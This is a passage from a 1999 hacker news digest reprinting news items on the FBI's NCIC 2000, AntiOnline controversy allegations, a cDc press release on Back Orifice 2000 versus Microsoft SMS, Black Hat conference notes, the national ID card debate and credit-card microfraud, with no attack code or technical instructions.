      new computer system that state and local
      law enforcement officials will use to fight
      crime. 

      The new system, the National Crime
      Information Center 2000 -- like the original
      NCIC, which the FBI had used since 1967
      -- allows crime fighters to search through 17 databases when investigating
      crimes or questioning criminal suspects. The databases include information
      on stolen guns, deported felons, missing persons and stolen vehicles, for
      example. 

      NCIC 2000 will allow law enforcement officials with special hardware and
      software to transmit suspects' fingerprints to confirm their identity and to see
      if the suspects are wanted for other crimes. It also will allow the officials to
      view mug shots to confirm identities -- a capability the original NCIC did not
      have. 

      Law enforcement officers also can use
      NCIC 2000 to identify relationships among
      information in the databases. For example,
      under the old NCIC, if someone stole a car
      and a gun as part of the same crime and if a
      law enforcement officer later stopped the
      car thief on the highway, the officer could
      use the system to find out easily that the car
      had been stolen. But he would not
      necessarily know that the car thief might
      also have a stolen gun. NCIC 2000 shows
      the connection, keeping related information
      on a crime linked together, FBI spokesman
      Stephen Fischer said. 

      The new NCIC 2000 also adds
      name-search functionality. For example, a
      search for the name "James" would return
      alternate spellings, such as "Jim" or "Jimmy,"
      Fischer said. 

      NCIC 2000 went online after years of escalating costs and congressional
      finger-wagging. System architects originally envisioned NCIC 2000 costing
      about $80 million, but the final price was $183.2 million, Fischer said. The
      discrepancy between the original cost and the actual cost came in part
      because contractors originally were "overly ambitious" when estimating the
      project, Fischer said. 

      NCIC 2000 went live on July 11, but bugs in the system, as well as FBI
      attention on the capture of suspected railroad killer Angel Maturino
      Resendez, delayed the unveiling of the system, Fischer said. He added that
      bugs in NCIC 2000 were fixed by Monday evening. The bugs related to
      connectivity with the National Instant Criminal Background Check System,
      which is used for approving gun purchases. That system draws on NCIC
      2000 and other databases to approve or disapprove gun purchases. 

      FBI officials will hold the formal ceremony unveiling NCIC 2000 next month
      in Clarksburg, W.Va. FBI turns on new
      crime-fighting system 
      
      @HWA
      
13.0 E-commerce Increases Security Risk 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      From HNN http://www.hackernews.com/

      contributed by Code Kid 
      Companies engaged in e-commerce are 57 percent more
      likely to suffer an information security breach than
      those that don't do business online, according to a
      survey published in ICSA Inc.'s Information Security
      magazine. The survey found that companies conducting
      business online are 57 percent more likely to experience
      a proprietary information leak and 24 percent more likely
      to experience an unwanted intrusion into their systems. 

      Information Security Magazine- 1999 Information Security Industry Survey      
      http://www.infosecuritymag.com/july99/charts.html
      
      
      @HWA
      
14.0 Cyberspace Relatively Safe 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~   

      From HNN http://www.hackernews.com/
      
      contributed by Code Kid 
      Obviously a story written without much research, John
      Kroll claims that cyberspace is relatively safe. While his
      article pretty much only covers fraud on eBay the
      overall tone would give most people the wrong
      impression of life in cyberspace. 

      Cleveland Live      
      http://www.cleveland.com/business/news/fm19kro.ssf
      
              So far, cyberspace is reasonably safe 

              Monday, July 19, 1999

              By JOHN KROLL
              THE PLAIN DEALER 

              Robert J. Guest is one in a million. Or at least one in 10,000.

              Guest, a 31-year-old Californian, pleaded guilty to fraud in a
              federal court in California last week, according to
              prosecutors. He admitted taking about $37,000 from bidders
              over eBay Inc.'s Internet auction site but never delivering the
              digital cameras, laptops and other merchandise he had
              promised.

              Sounds like another Internet horror story, right? Like all the
              hackers who are compromising our nation's defense and the
              Postal Service plan to start charging everyone who uses
              e-mail.

              Well, Internet auction fraud is like those threats - that is, it
              exists rarely, if at all.

              Almost every hack into a government computer has done
              nothing worse than apply some electronic graffiti. There is no
              government plan - that's none, zip, zero, zilch - to charge for
              e-mail. And fraud in Internet auctions is hard to find.

              Even though Thom Mrozek, a spokesman for the U.S.
              attorney's office that prosecuted Guest, told Bloomberg
              News that the case "demonstrates that the buyer needs to
              beware, particularly in the anonymous realm of the Internet,"
              he says this is not an epidemic. Guest's was only the second
              prosecution in the country involving online auction fraud,
              Mrozek said.

              Of course, it could be the dirty dealing in the digital rooms of
              eBay is just flying under the radar. No federal prosecutor's
              going to go after some guy who rips off one or two buyers for
              maybe $50. Don't even ask about using state laws or
              small-claims court. As Parma Heights attorney Rodger A.
              Pelagalli told Plain Dealer technology reporter Chuck
              Melvin, if you get stung on eBay, your best weapon is likely
              to be a strongly worded letter.

              But Melvin, who did this week's package of stories on online
              auctions, says it seems that even penny-ante crime is rare.
              Less than 0.01 percent of the millions of eBay trades
              produce fraud complaints to eBay itself, the site told the New
              York Department of Consumer Affairs this year. That's fewer
              than one in every 10,000 trades.

              It sounds as if Diogenes should hang up his lamp and take
              his search for an honest man online. Headline news: Internet
              users don't cheat!

              Let's not get carried away. Like the old bank robber Yellow
              Kid Weil, today's electronic thieves probably still go "where
              the money is" - and for all the millions of trades on eBay, the
              take per trade is fairly low.

              But while we can't proclaim an Age of Innocence on the
              whole Internet, the low level of fraud at a big online
              auctioneer like eBay underlines the point Melvin makes in
              his report: If you've got anything you want to buy or sell, the
              Internet is now the place to be.

              Just watch out for uninvited Guests. 
              
              ©1999 THE PLAIN DEALER. Used with permission
              
     @HWA        
     
15.0 AntiOnline Under Investigation 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

     From HNN http://www.hackernews.com/

      contributed by cult 
      An article in the Ottawa Citizen details recent claims
      made by attrition.org about the activities and FBI
      investigation of AntiOnline founder John Vranesevich.
      Unfortunately this article has no comments from the
      FBI. John Vranesevich refused to discuss the matter
      with the reporter and is now threatening a lawsuit over
      the article. 

      Ottawa Citizen
      http://www.ottawacitizen.com/hightech/990719/2623591.html
      
      Attrition.org- Negation 
      http://www.attrition.org/negation/ottawa.html

      Late Update 
      The Ottawa Citizen has either pulled or moved the
      above article. The folks at Attrition have been kind
      enough to archive a copy for your reading pleasure. 

      Attrition.org - Spy vs Spy In Hacker Underworld     
      http://www.attrition.org/~jericho/media/ottawa_citizen.spy_vs_spy_in_hacker_underworld
      
      
      http://www.ottawacitizen.com/hightech/990719/2623591.html

      The Ottawa Citizen Online Business Page
      
      Monday 19 July 1999
   
      Spy vs. spy in the hacker underworld
   
      Network security expert is under investigation for attacks on U.S. government Web sites
   
      Bob Paquin
      The Ottawa Citizen
      
      In the murky world of hackers and crackers, appearances can be deceptive. "White hat" good guys,
      working for software or security firms, have occasionally been caught moonlighting as "black hat"
      rogues.
      
      Such appears to be the case with John Vranesevich, a network security expert and founder of top-rated
      hacker Web site AntiOnline. Mr. Vranesevich is currently under investigation by the FBI with regard
      to recent attacks on U.S. government Web sites. It is alleged that he may have employed hackers to
      target high profile sites in order to scoop the rest of the media with exclusive reporting.
      
      Mr. Vranesevich has denied the allegations.
      
      Brian Martin, also under FBI investigation for hacking, recently released a report on his Web site
      (www.attrition.org/negation/special) which details a series of links between Mr. Vranesevich and an
      alleged member of the hacker group Masters of Downloading, which claimed responsibility for the U.S.
      Senate Web site hack earlier this month.
      
      Mr. Martin, who researches hacker culture through his Web site, claims to have been tracking
      questionable AntiOnline reporting over the past year.
      
      Mr. Vranesevich, 20, has over the past couple of years become one of the most widely quoted and
      authoritative sources on hacking and security-related information.ÊBegun in late 1994 as a 5-megabyte
      high school hobby Web site, AntiOnline has since grown into a multi-domain business venture.
      
      ABC News has described it as a "Rick's Cafe in the Casablanca world of hacking."ÊBesides reporting on
      hacking news, the site offers a downloadable library of hacking software tools, archives of several
      hacker newsletters and journals, and copies of some of the hacked pages featured in reported stories.
      
      While growing increasingly popular with the mainstream media, however, Mr. Vranesevich has slowly
      built up a number of enemies among the hacker underground.
      
      Spurred, perhaps, by an extensive FBI and U.S. Department of Justice hacker crackdown, which resulted
      in raids on 20 suspected hackers across six states, Mr. Vranesevich declared a dramatic change of
      stance, distancing himself from the subjects he covers.
      
      In a "Change in Mission" notice posted on his Web site, Mr. Vranesevich said: "Unfortunately, I've
      found myself looking in the mirror with disgust these past few months. Looking back, I've seen myself
      talking with people who have broken into hundreds of governmental servers, stolen sensitive data from
      military sites, broken into atomic research centres, and yes, people who have even attempted to sell
      data to individuals that presented themselves as being foreign terrorists É Many times, I knew about
      these instances before hand, and could have stopped them."
      
      He also claimed to have been secretly working with the U.S. Airforce to develop a "profile of a
      hacker" for use in fighting "CyberCrime".
      
      Mr. Vranesevich's message concluded with a note to the thousands of hackers who read his site: "You
      yell and scream about freedom of speech, yet you destroy sites which have information that disagree
      with your opinions.ÊYou yell and scream about privacy, yet you install trojans into others' systems,
      and read their personal email and files. You truly are hypocrites.ÊAll of these grand manifestos that
      you develop are little more than excuses that you make up to justify your actions to yourself."
      
      Mr. Martin, on the other hand, alleges that many of the reports from AntiOnline, and subsequent
      follow-on reporting in other media outlets, have been exaggerated and sensationalized.
      
      "Not only had AntiOnline driven the media hype behind the stories, they put various government and
      Department of Defense organizations on full alert preparing for the fallout these attacks would
      cause," he states on his own Web site.
      
      In detailing the relationship between Mr. Vranesevich and the alleged hacker in questions, Mr. Martin
      notes that "the typical journalist/contact relationship did not exist, and in fact, AntiOnline may
      have been responsible for creating some of the news to report on É he pays people to break into sites
      in order to report on it as an exclusive."
      
      @HWA
   
16.0 Parse Defcon Video Available 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
      From HNN http://www.hackernews.com/
      
      contributed by Ryan 
      Parse has posted several video clips of Defcon as well
      as interviewers from some of the luminaries present. 

      Biztech TV   
      http://biztechtv.com/admin/parse/defcon.asp

      @HWA

17.0  cDc Challenges Microsoft to Recall SMS (wicked!)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      From HNN http://www.hackernews.com/
      
      contributed by omega 
      The cDc, writers of BO2K, have publicly challenged
      Microsoft to voluntarily recall all copies of its Systems
      Management Server network software and have
      requested the AV industry to respond with signature
      scanning for SMS files. The premise for this challenge is
      that Microsoft has labeled Back Orifice 2000 a malicious
      tool. cDc claims that if BO2K is malicious then SMS must
      also be, by definition, malicious. Both programs do the
      exact same thing and have almost identical feature
      sets. 

      The Cult of the Dead Cow       
      http://www.cultdeadcow.com/news/pr19990719.html
      
                           ______________________________________________________________________
                                                                 _   _                                 
                                   BACK ORIFICE 2000            ((___))         BACK ORIFICE 2000      
                                   show some control            [ x x ]         show some control      
                                                                 \   /                                 
                                                                 (' ')                                 
                                                                  (U)                                  
                                                                                                       
                           ________________________ http://www.bo2k.com/ ________________________
                    
       FOR IMMEDIATE RELEASE
                                                                                                            FOR IMMEDIATE RELEASE
      
      
      Press Contact:
              The Deth Vegetable
              cDc Minister of Propaganda
              veggie@cultdeadcow.com
      
      
      
                                            DON'T WORRY WINDOWS USERS, EVERYTHING WILL BO2K 
      
      [July 19th, San Francisco] The CULT OF THE DEAD COW (cDc) publicly challenges Microsoft Corporation to voluntarily recall
      all copies of its Systems Management Server network software. In addition, cDc calls for the antivirus industry to respond
      with signature scanning for SMS files. 
      
      "Hypocrisy" is such an ugly word. So instead, why don't we just chalk this one up to Do-What-We-Say-Not-What-We-Do? 
      
      Microsoft evidently dislikes our new tool so much that they've taken to complaining about one of its key features. We're
      talking about Back Orifice 2000, and the feature in question is its stealth mode. 
      
      Microsoft has claimed that BO2K is a malicious tool with no legitimate use. Their primary evidence is BO2K's stealth
      feature, which gives you the option to run the server on the remote machine without it being evident to anybody sitting at
      that machine. 
      
      In fact, here's what they're saying right now on the Microsoft Security Advisor website: 
      
           BO2K is a program that, when installed on a Windows computer, allows the computer to be remotely controlled by
           another user. Remote control software is not malicious in and of itself; in fact, legitimate remote control
           software packages are available for use by system administrators. What is different about BO2K is that it is
           intended to be used for malicious purposes, and includes stealth behavior that has no purpose other than to make
           it difficult to detect. 
                                          http://www.microsoft.com/security/bulletins/bo2k.asp 
      
      Now, we concede that on its face, this sounds like a valid criticism. Being able to operate a remote admin tool without the
      person at the other end knowing that it's running on the machine seems downright devious. (Keep in mind that BO2K's stealth
      feature is an OPTION, which is in fact disabled by default.) 
      
      Maybe Microsoft is right; perhaps this stealth feature in and of itself is enough to brand it a hacker tool with no
      redeeming social value. 
      
      But then, what are we to make of Systems Management Server (SMS)? 
      
      SMS is Microsoft's remote admin tool for Windows. As it happens, SMS has a nearly identical stealth feature. As a matter of
      fact, they explain this feature in a Word document available from the Microsoft website: 
      
           Security
      
           Of all the operations that Systems Management Server allows you to do on a client, remote control is possibly the
           most "dangerous" in terms of security. Once an administrator is remote controlling a client, he has as many
           rights and access to that machine as if he were sitting at it. Added to this, there is also the possibility of
           carrying out a remote control session without the user at the client being aware of it. Thus, it is important to
           understand the different security options available and also to understand the legal implications of using some
           of them in certain jurisdictions." 
      
           Visible and Audible Indicators
      
           It is possible to configure a remote control from a state where there is never any visible or audible indication
           that a remote control session is under way. It has been made this flexible due to customer demands ranging from
           one end of this spectrum to the other. When configuring the options available in the Remote Tools Client Agent
           properties, due notice must also be taken of company policy and local laws about what level of unannounced and
           unacknowledged intrusion is permitted." 
      
                                        http://www.microsoft.com/smsmgmt/techdetails/remote.asp 
      
      Notice that? Microsoft's own tool has the same evil capability as BO2K. 
      
      Now, Microsoft did not invent surreptitious desktop surveillance; there are other products on the market that perform these
      functions. Microsoft is just the largest supplier of the technology, as SMS comes bundled with each copy of Back Office. 
      
      Why is it that Microsoft can offer a tool having this illegitimate functionality without any moral qualms, but when WE do
      it, they throw a hissy fit? Well... we have a hunch. 
      
      "Microsoft wants to keep everybody talking about the evil software from us crazy computer hackers. So they paint BO2K as a
      dangerous application with no constructive uses," says Reid Fleming (cDc). "We beg to differ." 
      
      BO2K doesn't exploit any bugs in the Windows operating system that Microsoft is willing to categorize as such. So in order
      to convince the public that BO2K is a solely destructive tool, Microsoft is forced to criticize the tool's feature set.
      Evidently whoever dreamed up this press strategy was unaware of Systems Management Server and its stealth feature. 
      
      Of course, there's another possibility. Microsoft sells SMS for cash money. Meanwhile, BO2K is free. (It's also open
      source, and better constructed any way you measure it: size, efficiency, functionality, security.) Maybe this is just
      another example of Microsoft's alleged anticompetitiveness? 
      
      "BO2K, like SMS, is a powerful software tool. Like any powerful tool, it can be used either responsibly or irresponsibly,"
      says Count Zero (cDc). "For Microsoft to claim that BO2K has no legitimate purpose is ridiculous. Their own SMS tool has
      nearly the same functionality as BO2K, and Microsoft is happy to let you pay $1,000+ for it." 
      
      Regardless of their motivations, Microsoft is selling software which does many of same things as Back Orifice 2000,
      including the pernicious ability to run hidden from the user. And if stealth mode is what makes BO2K a malicious program,
      then Microsoft's Systems Management Server is a malicious program too. 
      
      Consequently, we challenge Microsoft to recall all copies of the SMS administration tool, because its featureset contains
      stealth capability. This feature clearly illustrates that their software has no legitimate use. Furthermore, we urge all
      antivirus vendors to include signatures for SMS in their scanner utilities. 
      
      Back Orifice 2000 is available for download free of charge from http://www.bo2k.com/. 
      
                               .......................................................................... 
      
                                                                APPENDIX 
      
      Equally hypocritical quotes from Microsoft about Back Orifice: 
      
           "Users who are tricked into getting this thing installed on their system are vulnerable to the attacker, who can
           then do anything that the victim can do -- move the mouse, open files, run programs, etc. -- which is little
           different from what legitimate remote-control software can do. Back Orifice, however, is designed to be stealthy
           and evade detection by the user." 
      
           "In fact, it really ends up doing bad things -- that’s what a Trojan horse does. Back Orifice falls into that
           category because it is intentionally designed to hide itself from detection. The creators claim that this is a
           useful administration tool, but it doesn’t even prompt people when it installs itself on the system. It doesn’t
           warn them that it’s getting installed. And, once it’s installed, it makes the system available to other people on
           the Internet. That is a malicious act." 
      
           "It’s incomprehensible why a tool like this would be created. [...] [T]here’s no purpose for this tool other than
           harming actual users of software products." 
      
                                      -- Jason Garms, lead product manager for Windows NT security
                                            Microsoft's prefabricated interview, 8-July-1999 
      
                               .......................................................................... 
      
      The CULT OF THE DEAD COW (cDc) is the most influential group of hackers in the world. Formed in 1984, the cDc has published
      the longest running e-zine on the Internet, swallowed swords, made waffles, and so on. 
      
      For more background information, journalists are invited to check out our Medialist at
      http://www.cultdeadcow.com/news/medialist.htm. 
      
      Cheerio. 
      
      "Microsoft", "Windows", "Systems Management Server", "Word", and "Back Office" are all trademarks of the Microsoft Corporation. Blah blah blah, this is giving me a
      headache. 
      
                                                 "cDc. It's alla'bout style, jackass." 



     @HWA
     
     
18.0 BlackHat Insiders Want to Quit Security Biz
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
        
     From HNN http://www.hackernews.com/
      
      contributed by Code Kid 
      While Defcon made it into the popular press and
      gathered all the attention The BlackHat Briefings is
      where a lot of the security industry traded secrets.
      Infoworld's Stuart McClure and Joel Scambray give a
      pretty good overview of the goings on at the
      conference and describe a growing sentiment within the
      industry that you can't secure the world. 

      InfoWorld     
      http://www.infoworld.com/cgi-bin/displayArchive.pl?/99/29/o03-29.44.htm
      
      July 19, 1999 (Vol. 21, Issue 29) 

      SECURITY WATCH 
      
      
      BY STUART McCLURE & JOEL SCAMBRAY 
      Black Hat conference survives a denial-of-service 
      attack, but will it outlast attrition? 
      
      The Security Watch team writes to you this week from the ever-expanding concrete facades of Las Vegas, where we were in attendance at the third annual Black
      Hat Briefings USA conference from July 7 through July 8. 
      
      The original concept behind the Black Hat conference was to "meet the enemy," where corporate types could rub elbows with the glitterati of the hacker set,
      including such notables as Simple Nomad of the Nomad Mobile Research Center (www.nmrc.org) and Dr. Mudge of L0pht (www.l0pht.com). The event has
      evolved into a general meeting of the minds among security practitioners of all types, from public-sector managers to professional consultants. 
      
      Our feelings can best be summed up by the offhand comment of Windows NT security guru Dominique Brezinski, in his talk at the finale of the first day of
      presentations: "My life is miserable and pathetic, and I want to get out of security soon." 
      
      Although the remark was mostly intended as a self-deprecating jest, it reflected the undercurrent of frustration that many speakers echoed throughout the conference:
      Despite all of the work being done in the security field, the same old problems never seem to get solved. These recurring issues include the endemic lack of security
      expertise in the market today, the Achilles' heel of poor password choices, and an ever-expanding list of commercial software bugs that are becoming impossible to
      fix. 
      
      Despite the formidable intellectual talent assembled at Black Hat, the general response to some of these problems is to throw up the hands and say, "I give up." For
      example, Brezinski gave a fascinating discussion of the implications of NT and Solaris' shared-code search path for creating a trusted forensic toolkit CD-ROM, but
      he concluded his talk by noting that an attacker sophisticated enough to make kernel modifications would be impossible to defeat. Here are two other good
      examples: Security legend Bill Cheswick's printed materials yawned that "this security stuff is all the same. ... From a security viewpoint, there is little new about the
      Internet." And cryptography expert Bruce Schneier's ruminations included, "A secure computer is one that has been insured," which means you should get used to
      the notion that your system will be compromised. 
      
      We can understand Cheswick's sentiments, because he has been one of the leading lights in security for the past 30 years, but it was a bit troubling to hear the "next
      generation" of the security avant-garde openly proclaiming the need to seek more serene pastures. 
      
      Pessimism aside, there were still a great deal of interesting topics covered by the Black Hat speakers. Some highlights included Mudge's technical outline of L0pht's
      new program, AntiSniff, which remotely detects promiscuous-mode network interfaces, and Simple Nomad's release of Pandora 4 with a functional version of its
      NetWare Level 3 packet-signing exploit. Our company, Ernst & Young, gave a similar demonstration on NT of "passing the hash" to circumvent the NT
      challenge/response log-on. The original idea for this type of attack was proposed on NTBugtraq years ago but was never publicly proved. 
      
      And despite the gloom expressed in some of their thoughts, all of the speakers showed great patience and perseverance during the incessant testing of the Venetian
      hotel's fire-alarm system throughout the two-day conference. In the end, Black Hat's spirit proved resistant to this denial-of-service attempt. 
      
      Of course, a lot of the good information coming out of Black Hat doesn't appear in any official program but is gleaned in the corridors outside the conference hall
      during breaks in the program. 
      
      We've done our best to capture the essence of Black Hat, but a lot of great dialogue was left on the cutting room floor. The next best thing to being there is
      purchasing the full conference, including a video of the presentations in MP3 format, at www.blackhat.com. Meanwhile, send your thoughts on addressing security
      symptoms vs. problems to security_watch@infoworld.com. 
      
      Stuart McClure is a senior manager and Joel Scambray is a manager at Ernst & Young's eSecurity Solutions group. They have managed information security in
      academic, corporate, and government environments for the past nine years. 
      
                                                 Copyright (c) 1999 InfoWorld Media Group Inc.
      
      
     @HWA
     
19.0 Attrition Closes Down Negation 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      From HNN http://www.hackernews.com/
                                   
      contributed by Staff 
      The Attrition.org staff has decided to stop updating the
      Negation section of their web site. The Negation section
      covers the activity of John Vranesevich of AntiOnline.
      The Attrition staff claim that they have accomplished
      what they set out to do which was to prove beyond a
      reasonable doubt that AntiOnline and John Vranesevich
      are a fraud. The Attrition statement says that they
      have also proven John Vranesevich guilty of libel,
      repeated copyright violation, paying people to break into
      systems, idle threats to stifle competition, and serious
      errors in supposed "factual news". The Negation section
      will remain posted for all to see, it will just no longer be
      updated. 

      Negation
      http://www.attrition.org/negation/
      
      @HWA
         
20.0 ISS Offers Cracking Tools 
     ~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      Just like any tool these have both good and bad uses.
      ISS has announced three prototype tools, Telephony
      Scanner, a wardailing program, Attacker Tracker, a log
      file analysis tool, and SQL Cracker, for auditing SQL
      passwords. Free demos are available. 

      ISS Protoworx
      http://xforce.iss.net/protoworx/
      
      @HWA
      
21.0 IBM Researching Proactive Security 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

     From HNN http://www.hackernews.com/

     contributed by Weld Pond 
     The proactive Security project at IBM is producing some
     interesting results. There are white papers and demos
     available. Definitely a site worth looking at. 

     IBM       
     http://www.hrl.il.ibm.com/proactive/ <- lots of interesting postscript papers here
     
22.0 InET Issue #3 
     ~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/


      contributed by GothstaiN 
      Good news for the non-english crowd. InET Magazine
      issue #3 has been released and it only comes in
      Spanish. 

      Intrusos 
      http://www.intrusos.cjb.net
      
      @HWA
      
23.0 National ID Card Law Set to be Enacted 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
     
      From HNN http://www.hackernews.com/ 
     

      contributed by Code Kid 
      In an effort to fight illegal immigration US Representative
      Lamar Smith, from San Antonio, Texas, has proposed
      that your social security number and possibly microchips
      encoded with your fingerprints and other personal data
      be a mandatory part of your drivers license. At a
      hearing Thursday, the House Immigration subcommittee
      will debate the future of modified driver licenses, which
      has been labeled by some as a "national ID card." 

      Wired
      http://www.wired.com/news/news/politics/story/20881.html
      
      House Immigration subcommittee          
      http://www.house.gov/judiciary/sub106.htm
      
      Your License or Your Life by Declan McCullagh 

      3:00 a.m.  22.Jul.99.PDT
      WASHINGTON -- If Representative Lamar
      Smith has his way, your driver's license
      will soon sport your Social Security
      number, whether you like it or not. It may
      also include microchips encoded with your
      fingerprints and other personal data. 

      Government agencies will no longer
      accept as identification licenses that
      don't meet the new standards. 

      Smith, a Republican from San Antonio, is
      firmly convinced the new features will
      reduce immigration. Not only is he
      doggedly opposed to illegal immigration,
      he wants to reduce legal immigration,
      insisting that low-skilled workers compete
      with US citizens for entry-level jobs. 


       See also: Your Driver License, For Sale? 
       http://redirect.wired.com/redir/10025/http://www.wired.com/news/news/politics/story/20435.html

      At a hearing Thursday, the House
      Immigration subcommittee will debate the
      future of modified driver licenses, which
      detractors derisively call a "national ID
      card." 

      Since Smith heads the subcommittee, his
      opponents have had an uphill battle.
      Making their fight even more difficult is
      the fact that Congress approved the new
      license rules in 1996. Civil liberties and
      privacy groups are doggedly attempting
      to repeal the law before it takes effect
      next year. 

      So far, they've had little success. It's
      true that in 1998 they managed to get
      the Transportation Department to delay
      following through on regulations for a
      year. But that temporary setback expires
      in October 1999. They had no luck in
      inserting a flat-out repeal in a
      transportation spending bill last month. 

      "We're urging Congress to reverse course
      on national IDs," said Greg Nojeim,
      legislative counsel for the American Civil
      Liberties Union. 

      "Too many proposals to combat illegal
      immigration instead limit the rights and
      freedoms of Americans. We don't need a
      national ID card to be the legacy of
      efforts to keep undocumented people
      from working." 

      The ACLU is part of a coalition with other
      liberal groups, such as the Electronic
      Frontier Foundation and Electronic
      Privacy Information Center. But the
      alliance also includes arch-conservative
      organizations: the Eagle Forum, the Free
      Congress Foundation, and Americans for
      Tax Reform. 

      The organizations found common ground
      in what they uniformly believe is a serious
      threat to privacy. "Proposals for a
      national ID have been consistently
      rejected in the United States as an
      infringement of personal liberty," said a
      recent coalition letter urging Congress to
      nix the current law. 
      
      
      "We care about this hearing because
      there are other members that are
      receptive to privacy concerns. While
      Lamar Smith is on the other side, other
      members need to hear what's going on,"
      said Lori Cole, a spokesman for the Eagle
      Forum's office in Washington. 

      For his part, Smith angrily denies that
      he's Big Brother incarnate in a note he
      posted on his Web site: "I do not support
      a national ID card and don't know anyone
      who does." 

      In response to the 1996 law that requires
      "security features" in licenses, the
      Department of Transportation in June
      1998 proposed that states must encode
      SSNs (and possibly digitized fingerprints)
      onto drivers licenses. 

      After October 2000, the feds will require
      these new licenses if people want to use
      any government service, board an
      airplane, be eligible for Medicare -- in
      other words, live a normal life and do the
      everyday things most Americans take for
      granted. 

      The DOT will be allowed to proceed in
      October 1999, unless Congress acts. 

      "The states are concerned that they will
      be legally obligated to encode information
      in drivers licenses and collect Social
      Security numbers," says one Hill source.
      The National Conference of State
      Legislators and the National Association
      of Counties have joined the coalition. 

      They sent a letter to House Speaker
      Dennis Hastert on 30 June urging
      Congress to repeal Section 656 of the
      Illegal Immigration Reform and Immigrant
      Responsibilities Act of 1996. 

      Another letter signed by six Congressmen
      urges colleagues to support a repeal
      measure -- the Privacy Protection Act --
      introduced by Representative Ron Paul
      (R-Texas). 
      
      @HWA
      
24.0 Local Agencies Not Concerned About Computer Intrusions 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/ 

      contributed by Carole 
      A report released by the Emergency Response and
      Research Institute paints a disturbing picture. The
      report claims that many local, county and state
      agencies have little or no fear of illegal data access.
      While most respondents said that they have dealt with
      Viruses, 30% claimed that computer tampering was of
      little or no concern to them. Someone needs to wake
      these people up. 

      Civic 
      http://www.civic.com/news/1999/july/civ-virus-7-21-99.html
      
      Emergency Response and Research Institute      
      http://www.emergency.com/
      
      Survey Finds Local Agencies Hit
      Hard by Viruses; Not Worried
      About Hacking

      July 21, 1999

      An overwhelming majority of local, county and state agencies have been the
      victims of computer viruses, but few are worried about being hacked,
      according to a recent survey by the Emergency Response and Research
      Institute, a public safety consulting group.

      The ERRI report found that nearly 83 percent of 175 agencies that
      participated in the survey had dealt with a computer virus, indicating a
      possible lack of effective anti-virus software in use or unsafe computing
      practices by respondents.

      Although 63 percent of the respondents called computer "hacking/cracking" a
      problem, about one-third did not view the issue as a concern at all.

      "This is the first survey that we know of its kind that contacted, city, county
      and state agencies on this issue," said Clark L. Staten, executive director of
      ERRI. "We would like to take it more in-depth and broaden it to be [more]
      statistically significant.... It's a problem that is not receiving recognition."

      ERRI analysts, who received the completed surveys during May and June,
      also noted that more than 94 percent of those surveyed used a World Wide
      Web site to communicate with the public. Far fewer (59 percent) reported
      using e-mail to respond to public comments or complaints.

      Staten would not name specific locations that participated because they had
      been promised anonymity, but he said most of the respondents were
      emergency agencies from municipalities across the United States, including fire
      departments, university security departments, state emergency management
      agencies and emergency medical services departments. Six agencies from
      Canada also responded, he said.

      ERRI, based in Chicago, was founded to provide solutions to the emergency
      response and government community. More information is available at
      www.emergency.com.

      -- Dan Caterinicchia (danc@civic.com)
      
      @HWA
      
25.0 Microfraud Becomes Big Deal 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     From HNN http://www.hackernews.com/
     
      contributed by Weld Pond 
      Still think the Internet is a safe place to conduct
      business? Here is an eye opening article that takes a
      look at what it calls 'microfraud'. Stealing a little money
      from a lot of people. The idea has been around for years
      but is only now coming to fruition with the unlimited
      reach and anonymity of the internet. 

      Scientific American      
      http://www.sciam.com/1999/0899issue/0899cyber.html
      
      HOW TO STEAL MILLIONS IN CHUMP CHANGE



      It used to be a joke: a computer can make a mistake in a fraction of a second that would take an army of mathematicians working with pencil and paper
      100 years to make. For 900,000 people whose credit cards apparently suffered fraudulent charges in a single computer-based scam, this old saw
      morphed into an unpleasant reality. The Federal Trade Commission (FTC) is trying to recover as much as $45 million from a handful of people who used
      modern technology to flood outdated security precautions. In late 1998 the group accounted for 4 percent of all the Visa chargebacks (in which a
      merchant's account is debited for the amount of a transaction) in the world. Victims did not have to use their cards on the Web to be hit with charges.
      They didn't even have to use their cards at all.

      It would have taken about three years for a dishonest restaurant employee or store clerk working 24
      hours a day just to fill out and submit the bogus transactions that FTC investigators ascribe to Kenneth
      H. Taves, his wife, Teresa, and their associates. The group, they say, set up a series of companies that
      processed Visa charges for adult Web sites and used the card numbers from those transactions plus
      others made up by a simple computer program to charge people for services that never existed. (At
      press time, Taves was in jail on contempt-of-court charges after disobeying an order to turn over
      records and to repatriate about $6 million from accounts in the Cayman Islands. His trial is scheduled
      for September 28.)

      The essence of the scam was an updated version of the hoary computer-crime legend in which a
      clever programmer siphons fractional pennies from millions of bank accounts and ends up rich with no
      one the wiser. Here each fraudulent charge was typically $19.95, an amount unlikely to alarm a
      harried consumer who might not remember every last purchase on a statement. The transactions also
      clearly passed under the radar of Visa's fraud-detection algorithms. Although Visa and its member
      banks have been notably silent about the role of their security measures in the debacle, sources
      suggest that antifraud efforts have largely been geared to prevent smaller numbers of high-ticket thefts.

      Indeed, the relatively small amount of each bill involved aggrieved customers in a financial catch-22: banks usually will go back only two months when
      reversing disputed charges, but $38.90 is comfortably less than the $50 limit above which U.S. financial institutions are required by law to compensate
      customers for fraudulent credit-card transactions. To make matters more difficult, Taves and his cohorts had an obvious excuse for disputed charges in
      the nature of the product they were selling: it was only natural, they reportedly faxed at least one bank, that people would want to disavow subscriptions
      to Web sites selling pornographic pictures.

      Although it provided a convenient cover story, the porn connection may also have been Taves's undoing, says John G. Faughnan, a physician and
      software developer whose Web page is the best source of information on the scam. Many of the more than 200 victims who contacted him found their
      jobs or their marriages in jeopardy, so they had much more incentive to track down the perpetrator than just recovering the $20 to $100 they were
